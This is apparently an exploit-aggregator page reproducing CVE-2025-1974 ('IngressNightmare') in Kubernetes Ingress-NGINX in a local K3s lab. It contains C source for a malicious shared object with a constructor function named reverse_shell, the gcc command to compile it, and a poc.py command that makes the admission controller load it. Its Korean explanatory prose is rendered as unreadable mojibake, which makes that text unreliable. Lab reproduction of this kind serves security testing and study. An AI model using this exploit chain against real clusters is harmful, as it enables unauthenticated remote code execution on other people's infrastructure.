Share
## https://sploitus.com/exploit?id=5AF4976B-678E-516B-939F-730E670D19F4
# Kubernetes Ingress-NGINX ์ธ์ฆ๋˜์ง€ ์•Š์€ ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰(CVE-2025-1974)

Ingress-NGINX: NGINX๋ฅผ ์—ญ๋ฐฉํ–ฅ ํ”„๋ก์‹œ ๋ฐ ๋กœ๋“œ ๋ฐธ๋Ÿฐ์„œ๋กœ ์‚ฌ์šฉํ•˜๋Š” Kubernetes ์šฉ ์ธ๊ทธ๋ ˆ์Šค ์ปจํŠธ๋กค๋Ÿฌ

"IngressNightmare" ์ทจ์•ฝ์ (CVE-2025-1974)์€ ์ˆ˜์‹ ๋˜๋Š” Ingree ๋ฆฌ์†Œ์Šค์˜ ์œ ํšจ์„ฑ์„ ๊ฒ€์‚ฌํ•˜๋Š” ์ฟ ๋ฒ„๋„คํ‹ฐ์Šค์˜ ํ•ต์‹ฌ ๋ณด์•ˆ ๋ฉ”์ปค๋‹ˆ์ฆ˜์ธ Ingress-NGINX Admission Controller ์˜ ์น˜๋ช…์ ์ธ ๊ฒฐํ•จ์—์„œ ๋น„๋กฏ๋œ๋‹ค.

์ด ์ปจํŠธ๋กค๋Ÿฌ๋Š” ์ธ์ฆ ์—†์ด๋„ ๋„คํŠธ์›Œํฌ์— ๋…ธ์ถœ๋˜์–ด ๊ณต๊ฒฉ์ž๊ฐ€ ์•…์„ฑ AdmissionReview ์š”์ฒญ์„ ์กฐ์ž‘ํ•˜๊ณ  Ingress ๋ฆฌ์†Œ์Šค์— ๋ฌด๋‹จ ๊ตฌ์„ฑ์„ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•œ๋‹ค.

๋‹ค๋ฅธ ์ทจ์•ฝ์ (CVE-2025-24514, CVE-2024-1097 ๋˜๋Š” CVE-2025-1098)๊ณผ ์—ฐ๊ณ„๋  ๊ฒฝ์šฐ ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ๋‹ค.

์ผ๋ถ€ ์•…์šฉ ๊ฐ€๋Šฅํ•œ ์ฒด์ธ์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

CVE-2025-1974+CVE-2025-24514: <kbd>auth-url</kbd> ์ฃผ์„ ์ฃผ์ž…์„ ํ†ตํ•œ RCE

CVE-2025-1974+CVE-2025-1097: <kbd>auth-tls-match-cn</kbd> ์ฃผ์„์„ ํ†ตํ•œ RCE

CVE-2025-1974+CVE-2025-1098: ์ด๋ฏธ์ง€ UID ๋‚จ์šฉ์„ ํ†ตํ•œ RCE

## ํ™˜๊ฒฝ ์„ค์ •
์ทจ์•ฝ์ ์„ ์‹œ๋ฎฌ๋ ˆ์ด์…˜ ํ•˜๊ธฐ ์œ„ํ•ด ๋‹จ์ˆœ์„ฑ์„ ์œ„ํ•ด K3s ๊ธฐ๋ฐ˜ Kubernetes ํ™˜๊ฒฝ์ด ์‚ฌ์šฉ๋œ๋‹ค

```
docker compose up -d
```

์ฟ ๋ฒ„๋„คํ‹ฐ์Šค API๊ฐ€ ์ค€๋น„๋˜๊ณ  Ingress-nginx ์ปจํŠธ๋กค๋Ÿฌ๊ฐ€ ์‹œ์ž‘๋  ๋•Œ๊นŒ์ง€ ๊ธฐ๋‹ค๋ฆฐ๋‹ค.
ํ™˜๊ฒฝ์ด ์‹œ์ž‘๋˜๋ฉด, Ingress-NGINX๋Š” 30080๋ฒˆ๊ณผ 30443๋ฒˆ ํฌํŠธ(TLS)์—์„œ ์ˆ˜์‹  ๋Œ€๊ธฐํ•˜๊ณ , Ingress-NGINX Admission Controller๋Š” 30443๋ฒˆ ํฌํŠธ์ด๋‹ค.

## ์‹คํ–‰๊ณผ์ •
<kbd>.so</kbd> ๋จผ์ €, ์ปจํ…Œ์ด๋„ˆ์˜ ์•„ํ‚คํ…์ฒ˜์™€ ์ผ์น˜ํ•˜๋Š” ๊ณต์œ  ๊ฐ์ฒด( ) ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ปดํŒŒ์ผํ•ด์•ผ ํ•œ๋‹ค.
```
#include<stdio.h>
#include<stdlib.h>

__attribute__((constructor)) static void reverse_shell(void)
{
    system("touch /tmp/hacked");
}
```

1. ์†Œ์Šค ์ฝ”๋“œ ์ปดํŒŒ์ผ

```
gcc -shared -fPIC -o shell.so shell.c
```

2. ์œ„์˜ ์†Œ์Šค ์ฝ”๋“œ๋ฅผ ์ ์ ˆํ•œ ํ™˜๊ฒฝ์œผ๋กœ ์ปดํŒŒ์ผํ•œ ํ›„ exploit.py๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ทจ์•ฝ์ ์„ ์•…์šฉ

```
python3 poc.py -a https://localhost:30443/networking/v1/ingresses -i http://localhost:30080/fake/addr -s shell.so
```
<kbd>AdmissionReview</kbd> exploit์€ NGINX๊ฐ€ ์•…์„ฑ ๋™์  ๊ณต์œ  ๊ฐ์ฒด๋ฅผ ๋กœ๋“œํ•˜๋„๋ก ๊ฐ•์ œํ•˜๋Š” ์ง€์‹œ์–ด ์ฃผ์ž… ์š”์ฒญ์„ ์œ„์กฐํ•˜์—ฌ ์ž‘๋™ํ•œ๋‹ค.

exploit์ด ์„ฑ๊ณตํ•˜๋ฉด ingress-nginx ์ปจํ…Œ์ด๋„ˆ ๋‚ด๋ถ€์— ํŒŒ์ผ์ด <kbd>ssl_engine</kbd> ์ƒ์„ฑ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

![image](https://github.com/user-attachments/assets/c40e509a-ec91-4434-918a-abee88ed3d24)